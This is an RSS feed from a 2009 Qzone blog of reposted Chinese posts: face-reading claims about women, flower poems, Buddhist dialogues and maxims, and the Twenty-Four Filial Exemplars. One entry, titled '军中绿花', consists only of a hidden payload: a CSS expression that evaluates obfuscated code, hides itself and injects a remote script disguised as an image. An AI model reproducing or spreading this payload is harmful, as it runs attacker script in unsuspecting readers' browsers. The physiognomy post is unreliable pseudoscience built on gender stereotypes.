<![CDATA[中华龙]]> http://756486075.qzone.qq.com Mon, 30 Nov 2009 01:49:03 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 20 Aug 2009 08:48:40 GMT <![CDATA[[转]什么样的女人注定要养男人一生]]> http://756486075.qzone.qq.com/blog/1250758120 男人养女人是天经地仪的事，但女人养男人，似乎违背社会责任。那么你需要养男人吗？其实也不是每个女人都要养男人，但如果你的面相符合以下文章三个特征以上者，则可能要养男人了。




第一项：口宽齿大
因为嘴巴大，也表示说你有能力养，你也愿意养！那一般来讲嘴巴大的女生比较有领导力，或者说男女之间她是主导，那个男的必须要听她的，那既然听她的，当然她要有能力去养人家了。

第二项：声音较低沉
女孩子的声音一般都是比较娇弱高亢一点嘛，那就说若是听起来声音比较低沉的人，她就会想要保护另外一方，或者说她很喜欢照顾另外一方，所以如果说听到一个女孩子的声音比较低沉的，甚至有时候不看到脸会觉得有点Man的话，她就比较有这种可能了。

第三项：前额特别凸出来
前额凸的女人通常表示她事业很好、她能力强，那她当然就有多馀的力量跟多馀的金钱去照顾人家。

第四项：手大脚大
手脚特别大的女人做事情比较任劳任怨，一方面也可以说她手腕好，另一方面她就可以做粗活，是属於刻苦耐劳的那一型。

第五项：嘴唇的上面汗毛多
女人有胡须代表他可能比较带点男性化，但若是家中经济出问题的话，她就是很有担当，整个的家计就是由他负责。
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　　测测你这一辈子会攒到多少钱呢

]]> http://756486075.qzone.qq.com/blog/1250758120#comment 134218249 Thu, 20 Aug 2009 08:48:40 GMT http://756486075.qzone.qq.com/blog/1250758120 <![CDATA[[转]〓※〓※军中绿花※〓※〓]]> http://756486075.qzone.qq.com/blog/1245984452 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://756486075.qzone.qq.com/blog/1245984452#comment 134222345 Fri, 26 Jun 2009 02:47:32 GMT http://756486075.qzone.qq.com/blog/1245984452 <![CDATA[[转]千姿百态的蝴蝶]]> http://756486075.qzone.qq.com/blog/1245984387




































]]> http://756486075.qzone.qq.com/blog/1245984387#comment 13 Fri, 26 Jun 2009 02:46:27 GMT http://756486075.qzone.qq.com/blog/1245984387 <![CDATA[[转]十大名花的品格]]> http://756486075.qzone.qq.com/blog/1245984339

蓝色蝴蝶空间因留有你们的脚步而精彩!


凌霜傲雪 梅花

霜雪抵挡不住你昂扬 寒冷阻拦不住绽放
你是报春的使者 你是春天的新装





清新脱俗 荷花

出污泥而不染 濯清涟而不妖
接天荷叶无穷碧 映日荷花别样红





从容优雅 兰花

空谷幽兰之芳草 凛天地之纯精品

惟美丽而不妖媚 春来群芳不争艳






凌波玉立 水仙

凌波仙子洁冰清 幽雅亭玉立水中
高尚象征吉祥幸福 香飘奔放连四海





总领群芳 牡丹

众芳惟牡丹富贵 夺目霞光千片娇媚
一片异香天上来 百花尽中飘云彩





热情如火 月季

春来春去笑常在 花开花落无间断
触地生根无人赞 千姿百色耐旱寒





富丽堂皇 茶花

有梅花哪烂红如火雪中开的风骨 又有
牡丹哪花繁艳红 深印晚霞之鲜艳





朴素洁白 桂花

内蕴高贵富典雅 恬静馨香飘万里
简朴无华勤奉献 内涵品格高无私





独立冰霜 菊花

宁可抱香枝头死 不随落叶舞秋风
孤傲挺立不落凡尘 依然含香露芬芳





繁花似锦 杜鹃

甘于寂寞香馥郁 无私奉献丛丽色
超凡脱俗而倔强 淡雅而不失高贵






]]> http://756486075.qzone.qq.com/blog/1245984339#comment 4105 Fri, 26 Jun 2009 02:45:39 GMT http://756486075.qzone.qq.com/blog/1245984339 <![CDATA[[转]人佛对话]]> http://756486075.qzone.qq.com/blog/1245984267 人佛对话

深夜，寺里一人一佛，佛坐人站。
　　人：我是已婚之人，却狂热地爱上了另一个女人，我该怎么办？
　　佛：你能确定你现在爱上的这个女人就是你生命里最后一个
　　人：是的。
　　佛：你离婚，然后娶她。
　　人：可是我现在的爱人温柔、贤惠，这样做是否有一点残忍？
　　佛：婚姻中没有爱是残忍的。
　　人：可是我爱人很爱我。
　　佛：那她就是幸福的。
　　人：我要与她离婚后另娶她人，她怎么会是幸福的呢？
　　佛：她拥有她对你的爱，而你已失去对她的爱。正所谓拥有的就是幸福的，失去的才是痛苦的，所以不幸福的人是你。
　　人：可是我要和她离婚，是她失去了我，她才是痛苦的。
　　佛：你错了，你只是她婚姻中真爱的一个具体，当你这个具体不存在的时候，她的爱会延续到另一个具体，她的真爱从没有失去过，她才是幸福的，而你才是痛苦的。
　　人：她说今生只爱我一个人。
　　佛：这样的话你也说过吧？你现在看你面前香炉里的三根蜡烛，哪根最亮？
　　人：好像都是一样的亮。
　　佛：这三根蜡烛好比是三个女人，其中一根是你现在所爱的那个女人。你连这三根蜡烛哪根最亮都不知道，你又如何能确定你现在爱的这个女人就是你生命里的最后一个女人呢？
　　人：我，我……
　　佛：现在拿一根蜡烛放到你眼前，用心看看哪根最亮。
　　人：当然是眼前的这根最亮。
　　佛：现在把它放回原处，再看看哪根最亮。
　　人：我真的看不出哪根最亮。
　　佛：你刚才拿的那根蜡烛好比是你现在爱的那个女人，所谓爱由心生，当你感觉到爱她时，你用心去看就觉得它最亮，当你把它放回原处，你却找不到最亮的一点感觉，你这种所谓的最后的爱只是镜花水月，到头来终究是一场空。
　　人：我懂了。
　　佛：你懂了吗？
东方佛教网:http://www.86fo.cn/




咐:缘



佛音---禅缘


一、释缘
问世间缘为何物，直叫人不好捉摸。
因为无法诠注人与人相遇，相知、相交和底蕴和玄机，人们便认同且袭用了从禅语中悟出的那个字——缘。


二、惜缘
在亿万年的时光长河中相逢于今生今年世；在众生芸芸的红尘人海中际会于此地此处，无论男女长幼，无论贫富美丑，这一段尘缘足堪珍惜．



三、随缘
人们常说随缘，但随缘不应是等缘．
＂有愿才会有缘，如果无愿，即便有缘的人也会擦肩而过．＂极具禅心慧思的台湾作爱林清玄于是说．





四、信缘
有这样一种朋友，也许相隔万水千山，也许分别十年八载，世事变幻，沧海桑田，永远不变的是彼此心中的那份默契与牵挂，所以我相信，两缘若是久长时，又岂在朝朝暮暮．



五、悟缘
耳闻目睹曾经恩爱的夫妻因小事反目成仇，共赴艰险的朋友因蝇利成仇，颇感难解，思之再三，似有醒悟：一切美好的因缘都应有三个支撑点才能长远——重情、守义、惜缘。





六、类缘
“有缘千里来相会。”——这是网络上的缘。
为什么数百里以外的你的思想、情怀会与我的感觉如此相似呢？为什么不曾谋面、不曾晤谈，心中竟是如此亲切？又是这样地喜欢？为什么月光像是他的凝视，清风仿佛她的呼吸？
心有灵犀，千里相通，是空间上的缘。




七、了缘
说不尽的缘，道不尽的缘。了不断的缘。
是缘，非缘。有缘，无缘。缘深缘浅。缘起，缘尽。有人灰情灭欲，斩断沙尘缘；有人耦断丝连，再续情缘。一面之缘与一生之缘或许只在一念之间。或是情在缘已尽，或是缘在情已绝······唉！这红尘中的是非恩怨，离合聚散，又怎是一个“缘”字了得



感悟:缘乃天定,份在人为!




[文章及图片和flash来自互联网]












]]> http://756486075.qzone.qq.com/blog/1245984267#comment 4105 Fri, 26 Jun 2009 02:44:27 GMT http://756486075.qzone.qq.com/blog/1245984267 <![CDATA[[转]●●●观世音菩萨●●●]]> http://756486075.qzone.qq.com/blog/1245984201






六十六条经典禅语


1. 人之所以痛苦，在于追求错误的东西。


2. 如果你不给自己烦恼，别人也永远不可能给你烦恼。因为你自己的内心，你放不下。

3. 你永远要感谢给你逆境的众生。

4. 你永远要宽恕众生，不论他有多坏，甚至他伤害过你，你一定要放下，才能得到真正的快乐。

5. 当你快乐时，你要想这快乐不是永恒的。当你痛苦时，你要想这痛苦也不是永恒的。

6. 今日的执著，会造成明日的后悔。

7. 你可以拥有爱，但不要执著，因为分离是必然的。

8. 不要浪费你的生命在你一定会后悔的地方上。

9. 你什么时候放下，什么时候就没有烦恼。

10. 每一种创伤，都是一种成熟。

11. 狂妄的人有救，自卑的人没有救，认识自己，降伏自己，改变自己，才能改变别人。

12. 你不要一直不满人家，你应该一直检讨自己才对。不满人家，是苦了你自己。

13. 一个人如果不能从内心去原谅别人，那他就永远不会心安理得。

14. 心中装满着自己的看法与想法的人，永远听不见别人的心声。

15. 毁灭人只要一句话，培植一个人却要千句话，请你多口下留情。

16. 根本不必回头去看咒骂你的人是谁？如果有一条疯狗咬你一口，难道你也要趴下去反咬他一口吗？

17. 永远不要浪费你的一分一秒，去想任何你不喜欢的人。

18. 请你用慈悲心和温和的态度，把你的不满与委屈说出来，别人就容易接受。

19. 同样的瓶子，你为什么要装毒药呢？同样的心里，你为什么要充满着烦恼呢？

20. 得不到的东西，我们会一直以为他是美好的，那是因为你对他了解太少，没有时间与他相处在一起。
当有一天，你深入了解后，你会发现原不是你想像中的那么美好。

21. 活着一天，就是有福气，就该珍惜。当我哭泣我没有鞋子穿的时候，我发现有人却没有脚。

22. 多一分心力去注意别人，就少一分心力反省自己，你懂吗？

23. 憎恨别人对自己是一种很大的损失。

24. 每一个人都拥有生命，但并非每个人都懂得生命，乃至于珍惜生命。不了解生命的人，生命对他来
说，是一种惩罚。

25. 情执是苦恼的原因，放下情执，你才能得到自在

26. 不要太肯定自己的看法，这样子比较少后悔。

27. 当你对自己诚实的时候，世界上没有人能够欺骗得了你。

28. 用伤害别人的手段来掩饰自己缺点的人，是可耻的。

29. 默默的关怀与祝福别人，那是一种无形的布施。

30. 不要刻意去猜测他人的想法，如果你没有智慧与经验的正确判断，通常都会有错误的。

31. 要了解一个人，只需要看他的出发点与目的地是否相同，就可以知道他是否真心的。

32. 人生的真理，只是藏在平淡无味之中。

33. 不洗澡的人，硬擦香水是不会香的。名声与尊贵，是来自于真才实学的。有德自然香。

34. 时间总会过去的，让时间流走你的烦恼吧！

35. 你硬要把单纯的事情看得很严重，那样子你会很痛苦。

36. 永远扭曲别人善意的人，无药可救。

37. 说一句谎话，要编造十句谎话来弥补，何苦呢？

38. 白白的过一天，无所事事，就像犯了窃盗罪一样

39. 广结众缘，就是不要去伤害任何一个人。

40. 沉默是对毁谤最好的答覆。

41. 对人恭敬，就是在庄严你自己。

42. 拥有一颗无私的爱心，便拥有了一切。

43. 来是偶然的，走是必然的。所以你必须，随缘不变，不变随缘。

44. 慈悲是你最好的武器。

45. 只要面对现实，你才能超越现实。

46. 良心是每一个人最公正的审判官，你骗得了别人，却永远骗不了你自己的良心。

47. 不懂得自爱的人，是没有能力去爱别人的。

48. 有时候我们要冷静问问自已，我们在追求什么？我们活着为了什么？

49. 不要因为小小的争执，远离了你至亲的好友，也不要因为小小的怨恨，忘记了别人的大恩。

50. 感谢上苍我所拥有的，感谢上苍我所没有的。

51. 凡是能站在别人的角度为他人着想，这个就是慈悲。

52. 说话不要有攻击性，不要有杀伤力，不夸已能，不扬人恶，自然能化敌为友。

53. 诚实的面对你内心的矛盾和污点，不要欺骗你自己。

54. 因果不曾亏欠过我们什么，所以请不要抱怨。

55. 大多数的人一辈子只做了三件事；自欺、欺人、被人欺。

56. 心是最大的骗子，别人能骗你一时，而它却会骗你一辈子

57. 只要自觉心安，东西南北都好。如有一人未度，切莫自己逃了。

58. 当你手中抓住一件东西不放时，你只能拥有这件东西，如果你肯放手，你就有机会选择别的。人的心
若死执自己的观念，不肯放下，那么他的智慧也只能达到某种程度而已

59. 如果你能够平平安安的渡过一天，那就是一种福气了。多少人在今天已经见不到明天的太阳，多少人
在今天已经成了残废，多少人在今天已经失去了自由，多少人在今天已经家破人亡。

60. 你有你的生命观，我有我的生命观，我不干涉你。只要我能，我就感化你。如果不能，那我就认命。

61. 你希望掌握永恒，那你必须控制现在。

62. 恶口永远不要出自于我们的口中，不管他有多坏，有多恶。 你愈骂他，你的心就被污染了，你要想，
他就是你的善知识。

63. 别人可以违背因果，别人可以害我们，打我们，毁谤我们。 可是我们不能因此而憎恨别人，为什么？
我们一定要保有一颗完整的本性和一颗清净的心。

64. 如果一个人没有苦难的感受， 就不容易对他人给予同情。 你要学救苦救难的精神， 就得先受苦受难。

65. 世界原本就不是属于你，因此你用不着抛弃，要抛弃的是一切的执著。万物皆为我所用，但非我所属。

66. 虽然我们不能改变周遭的世界，我们就只好改变自己，用慈悲心和智慧心来面对这一切




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]]> http://756486075.qzone.qq.com/blog/1245984201#comment 4105 Fri, 26 Jun 2009 02:43:21 GMT http://756486075.qzone.qq.com/blog/1245984201 <![CDATA[[转]小沈阳搞笑二人转 推荐]]> http://756486075.qzone.qq.com/blog/1245984168 我就不信看完你不抽~1
]]> http://756486075.qzone.qq.com/blog/1245984168#comment 4104 Fri, 26 Jun 2009 02:42:48 GMT http://756486075.qzone.qq.com/blog/1245984168 <![CDATA[[转]新贵妃醉酒(欢迎转载)]]> http://756486075.qzone.qq.com/blog/1245984082
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愿快乐与你朝夕相伴
]]> http://756486075.qzone.qq.com/blog/1245984082#comment 134234633 Fri, 26 Jun 2009 02:41:22 GMT http://756486075.qzone.qq.com/blog/1245984082 <![CDATA[[转]绝无仅有的[二十四孝图]]]> http://756486075.qzone.qq.com/blog/1245984024 绝无仅有的《二十四孝图》



孝感动天 舜，传说中的远古帝王，五帝之一，姓姚，名重华，号有虞氏，史称虞舜。相传他的父亲瞽叟及继母、异母弟象，多次想害死他：让舜修补谷仓仓顶时，从谷仓下纵火，舜手持两个斗笠跳下逃脱；让舜掘井时，瞽叟与象却下土填井，舜掘地道逃脱。事后舜毫不嫉恨，仍对父亲恭顺，对弟弟慈爱。他的孝行感动了天帝。舜在厉山耕种，大象替他耕地，鸟代他锄草。帝尧听说舜非常孝顺，有处理政事的才干，把两个女儿娥皇和女英嫁给他；经过多年观察和考验，选定舜做他的继承人。舜登天子位后，去看望父亲，仍然恭恭敬敬，并封象为诸侯。



亲尝汤药 汉文帝刘恒， 汉高祖第三子，为薄太后所生。高后八年（前180）即帝位。他以仁孝之名，闻于天下，侍奉母亲从不懈怠。母亲卧病三年，他常常目不交睫，衣不解带；母亲所服的汤药，他亲口尝过后才放心让母亲服用。他在位24年，重德治，兴礼仪，注意发展农业，使西汉社会稳定，人丁兴旺，经济得到恢复和发展，他与汉景帝的统治时期被誉为“文景之治”。



啮指痛心 曾参，字子舆，春秋时期鲁国人，孔子的得意******，世称“曾子”，以孝著称。少年时家贫，常入山打柴。一天，家里来了客人，母亲不知所措，就用牙咬自己的手指。曾参忽然觉得心疼，知道母亲在呼唤自己，便背着柴迅速返回家中，跪问缘故。母亲说：“有客人忽然到来，我咬手指盼你回来。”曾参于是接见客人，以礼相待。曾参学识渊博，曾提出“吾日三省吾身”（《论语·学而》）的修养方法，相传他著述有《大学》、《孝经》等儒家经典，后世儒家尊他为“宗圣”。


百里负米 仲由，字子路、季路，春秋时期鲁国人，孔子的得意******，性格直率勇敢，十分孝顺。早年家中贫穷，自己常常采野菜做饭食，却从百里之外负米回家侍奉双亲。父母死后，他做了大官，奉命到楚国去，随从的车马有百乘之众，所积的粮食有万钟之多。坐在垒叠的锦褥上，吃着丰盛的筵席，他常常怀念双亲，慨叹说：“即使我想吃野菜，为父母亲去负米，哪里能够再得呢？”孔子赞扬说：“你侍奉父母，可以说是生时尽力，死后思念哪！”（《孔子家语·致思》）



芦衣顺母 闵损， 字子骞，春秋时期鲁国人，孔子的******，在孔门中以德行与颜渊并称。孔子曾赞扬他说：“孝哉，闵子骞！”（《论语·先进》）。他生母早死，父亲娶了后妻，又生了两个儿子。继母常虐待他，冬天，两个弟弟穿着用棉花做的冬衣，却给他穿用芦花做的“棉衣”。一天，父亲出门，闵损牵车时因寒冷打颤，将绳子掉落地上，遭到父亲的斥责和鞭打，芦花随着打破的衣缝飞了出来，父亲方知闵损受到虐待。父亲返回家，要休逐后妻。闵损跪求父亲饶恕继母，说：“留下母亲只是我一个人受冷，休了母亲三个孩子都要挨冻。”父亲十分感动，就依了他。继母听说，悔恨知错，从此对待他如亲子。


鹿乳奉亲 郯子， 春秋时期人。父母年老，患眼疾，需饮鹿乳疗治。他便披鹿皮进入深山，钻进鹿群中，挤取鹿乳，供奉双亲。一次取乳时，看见猎人正要射杀一只麂鹿，郯子急忙掀起鹿皮现身走出，将挤取鹿乳为双亲医病的实情告知猎人，猎人敬他孝顺，以鹿乳相赠，护送他出山。



戏彩娱亲 老莱子， 春秋时期楚国隐士，为躲避世乱，自耕于蒙山南麓。他孝顺父母，尽拣美味供奉双亲，70岁尚不言老，常穿着五色彩衣，手持拨浪鼓如小孩子般戏耍，以博父母开怀。一次为双亲送水，进屋时跌了一跤，他怕父母伤心，索性躺在地上学小孩子哭，二老大笑。



卖身葬父 董永，相传为东汉时期千乘（今山东高青县北）人，少年丧母，因避兵乱迁居安陆（今属湖北）。其后父亲亡故，董永卖身至一富家为奴，换取丧葬费用。上工路上，于槐荫下遇一女子，自言无家可归，二人结为夫妇。女子以一月时间织成三百匹锦缎，为董永抵债赎身，返家途中，行至槐荫，女子告诉董永：自己是天帝之女，奉命帮助董永还债。言毕凌空而去。因此，槐荫改名为孝感。



刻木事亲 丁兰， 相传为东汉时期河内（今河南黄河北）人，幼年父母双亡，他经常思念父母的养育之恩，于是用木头刻成双亲的雕像，事之如生，凡事均和木像商议，每日三餐敬过双亲后自己方才食用，出门前一定禀告，回家后一定面见，从不懈怠。久之，其妻对木像便不太恭敬了，竟好奇地用针刺木像的手指，而木像的手指居然有血流出。丁兰回家见木像眼中垂泪，问知实情，遂将妻子休弃。



行佣供母 江革， 东汉时齐国临淄人，少年丧父，侍奉母亲极为孝顺。战乱中，江革背着母亲逃难，几次遇到匪盗，贼人欲杀死他，江革哭告：老母年迈，无人奉养，贼人见他孝顺，不忍杀他。后来，他迁居江苏下邳，做雇工供养母亲，自己贫穷赤脚，而母亲所需甚丰。明帝时被推举为孝廉，章帝时被推举为贤良方正，任五官中郎将。



怀橘遗亲 陆绩， 三国时期吴国吴县华亭（今上海市松江）人，科学家。六岁时，随父亲陆康到九江谒见袁术，袁术拿出橘子招待，陆绩往怀里藏了两个橘子。临行时，橘子滚落地上，袁术嘲笑道：“陆郎来我家作客，走的时候还要怀藏主人的橘子吗？”陆绩回答说：“母亲喜欢吃橘子，我想拿回去送给母亲尝尝。”袁术见他小小年纪就懂得孝顺母亲，十分惊奇。陆绩成年后，博学多识，通晓天文、历算，曾作《浑天图》，注《易经》，撰写《太玄经注》。



埋儿奉母 郭巨，晋代隆虑（今河南林县）人，一说河内温县（今河南温县西南）人，原本家道殷实。父亲死后，他把家产分作两份，给了两个弟弟，自己独取母亲供养，对母极孝。后家境逐渐贫困，妻子生一男孩，郭巨担心，养这个孩子，必然影响供养母亲，遂和妻子商议：“儿子可有，母亲死了不能复活，不如埋掉儿子，节省些粮食供养母亲。”当他们挖坑时，在地下二尺处忽见一坛黄金，上书“天赐郭巨，官不得取，民不得夺”。夫妻得到黄金，回家孝敬母亲，并得以兼养孩子。



扇枕温衾 黄香，东汉江夏安陆人，九岁丧母，事父极孝。酷夏时为父亲扇凉枕席；寒冬时用身体为父亲温暖被褥。少年时即博通经典，文采飞扬，京师广泛流传“天下无双，江夏黄童”。安帝（107-125年）时任魏郡（今属河北）太守，魏郡遭受水灾，黄香尽其所有赈济灾民。著有《九宫赋》、《天子冠颂》等。



拾葚异器 蔡顺，汉代汝南（今属河南）人，少年丧父，事母甚孝。当时正值王莽之乱，又遇饥荒，柴米昂贵，只得拾桑葚母子充饥。一天，巧遇赤眉军，义军士兵厉声问道：“为什么把红色的桑葚和黑色的桑葚分开装在两个篓子里？”蔡顺回答说：“黑色的桑葚供老母食用，红色的桑葚留给自己吃。” 赤眉军怜悯他的孝心，送给他三斗白米，一头牛，带回去供奉他的母亲，以示敬意。



闻雷泣墓 王裒,魏晋时期营陵（今山东昌乐东南）人，博学多能。父亲王仪被司马昭杀害，他隐居以教书为业，终身不面向西坐，表示永不作晋臣。其母在世时怕雷，死后埋葬在山林中。每当风雨天气，听到雷声，他就跑到母亲坟前，跪拜安慰母亲说：“裒儿在这里，母亲不要害怕。”他教书时，每当读到《蓼莪》篇，就常常泪流满面，思念父母。



乳姑不怠 崔山南,名，唐代博陵（今属河北）人，官至山南西道节度使，人称“山南”。当年，崔山南的曾祖母长孙夫人，年事已高，牙齿脱落，祖母唐夫人十分孝顺，每天盥洗后，都上堂用自己的乳汁喂养婆婆，如此数年，长孙夫人不再吃其他饭食，身体依然健康。长孙夫人病重时，将全家大小召集在一起，说：“我无以报答新妇之恩，但愿新妇的子孙媳妇也像她孝敬我一样孝敬她。”后来崔山南做了高官，果然像长孙夫人所嘱，孝敬祖母唐夫人。



卧冰求鲤 王祥,琅琊人，生母早丧，继母朱氏多次在他父亲面前说他的坏话，使他失去父爱。父母患病，他衣不解带侍候，继母想吃活鲤鱼，适值天寒地冻，他解开衣服卧在冰上，冰忽然自行融化，跃出两条鲤鱼。继母食后，果然病愈。王祥隐居二十余年，后从温县县令做到大司农、司空、太尉。



恣蚊饱血 吴猛，晋朝濮阳人，八岁时就懂得孝敬父母。家里贫穷，没有蚊帐，蚊虫叮咬使父亲不能安睡。每到夏夜，吴猛总是赤身坐在父亲床前，任蚊虫叮咬而不驱赶，担心蚊虫离开自己去叮咬父亲。



扼虎救父 杨香，晋朝人。十四岁时随父亲到田间割稻，忽然跑来一只猛虎，把父亲扑倒叼走，杨香手无寸铁，为救父亲，全然不顾自己的安危，急忙跳上前，用尽全身气力扼住猛虎的咽喉。猛虎终于放下父亲跑掉了。



哭竹生笋 孟宗，三国时江夏人，少年时父亡，母亲年老病重，医生嘱用鲜竹笋做汤。适值严冬，没有鲜笋，孟宗无计可施，独自一人跑到竹林里，扶竹哭泣。少顷，他忽然听到地裂声，只见地上长出数茎嫩笋。孟宗大喜，采回做汤，母亲喝了后果然病愈。后来他官至司空。



尝粪忧心 庾黔娄，南齐高士，任孱陵县令。赴任不满十天，忽觉心惊流汗，预感家中有事，当即辞官返乡。回到家中，知父亲已病重两日。医生嘱咐说：“要知道病情吉凶，只要尝一尝病人粪便的味道，味苦就好。” 黔娄于是就去尝父亲的粪便，发现味甜，内心十分忧虑，夜里跪拜北斗星，乞求以身代父去死。几天后父亲死去，黔娄安葬了父亲，并守制三年。



弃官寻母 朱寿昌，宋代天长人，七岁时，生母刘氏被嫡母（父亲的正妻）嫉妒，不得不改嫁他人，五十年母子音信不通。神宗时，朱寿昌在朝做官，曾经刺血书写《金刚经》，行四方寻找生母，得到线索后，决心弃官到陕西寻找生母，发誓不见母亲永不返回。终于在陕州遇到生母和两个弟弟，母子欢聚，一起返回，这时母亲已经七十多岁了。



涤亲溺器 黄庭坚，北宋分宁（今江西修水）人，著名诗人、书法家。虽身居高位，侍奉母亲却竭尽孝诚，每天晚上，都亲自为母亲洗涤溺器（便桶），没有一天忘记儿子应尽的职责。 ?
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操作指南：鼠标+鼠标控制，方向键移动，点击鼠标射击.
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